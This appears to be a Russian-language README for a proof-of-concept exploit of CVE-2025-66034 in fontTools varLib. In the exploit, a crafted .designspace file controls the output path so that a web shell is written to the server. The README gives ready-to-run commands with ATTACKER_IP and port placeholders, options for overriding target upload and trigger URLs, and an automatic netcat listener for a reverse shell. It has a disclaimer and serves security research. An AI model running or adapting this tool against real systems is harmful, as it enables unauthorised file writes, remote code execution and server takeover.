
Эксплойт типа proof-of-concept для CVE-2025-66034 в конвейере генерации вариативных шрифтов fontTools. Специально подготовленный файл `.designspace` позволяет управлять путём вывода, что даёт возможность произвольной записи файлов. Скрипт автоматизирует создание полезной нагрузки, генерацию шрифта и загрузку для демонстрации проблемы.
Этот репозиторий не содержит новой уязвимости.
Это proof-of-concept эксплойт для CVE-2025-66034, затрагивающий конвейер генерации переменных шрифтов fontTools varLib.
Уязвимость позволяет атакующим контролировать имя выходного файла внутри специально созданного файла .designspace. При обработке уязвимым сервисом генерации шрифтов это может привести к произвольной записи файлов в файловой системе сервера.
Скрипт varlib_cve_2025_66034.py автоматизирует создание полезной нагрузки, генерацию шрифтов, загрузку и опциональный запуск шелла.
ncPython 3.9+
Установите зависимости:
pip install fonttools requests
Для слушателя требуется Netcat:
Если ваша цель — автономная лаборатория на mysite.com, а путь загрузки, путь записи в файловую систему и веб-доступный путь запуска соответствуют значениям по умолчанию в скрипте, вы можете запустить его напрямую.
Базовое использование:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
Скорее всего, целевая система использует другие URL или пути файловой системы. Переопределите значения по умолчанию с помощью доступных параметров ниже, таких как --url, --path и --trigger, или измените скрипт вручную.
Примечание: имена полей multipart-загрузки могут различаться в зависимости от окружения. Если целевая система не использует те же имена полей формы, что и скрипт, отрегулируйте их в разделе files перед запуском эксплойта.
Пример с собственными параметрами:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspaceОсобая благодарность и уважение:
Данный proof-of-concept предоставлен в образовательных и исследовательских целях, чтобы помочь понять уязвимость и её влияние.
Этот код предоставлен только для образовательных и исследовательских целей.
Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим программным обеспечением.
| Аргумент | Описание |
|---|
--ip | IP-адрес слушателя атакующего |
--port | Порт слушателя |
--path | Целевой путь в файловой системе, куда будет записан файл (должен быть доступен через веб для запуска веб-шелла) |
--url | Конечная точка загрузки, форма может отличаться |
--trigger | Базовый URL для запуска записанной нагрузки после загрузки |
--no-listen | Отключить автоматический слушатель netcat |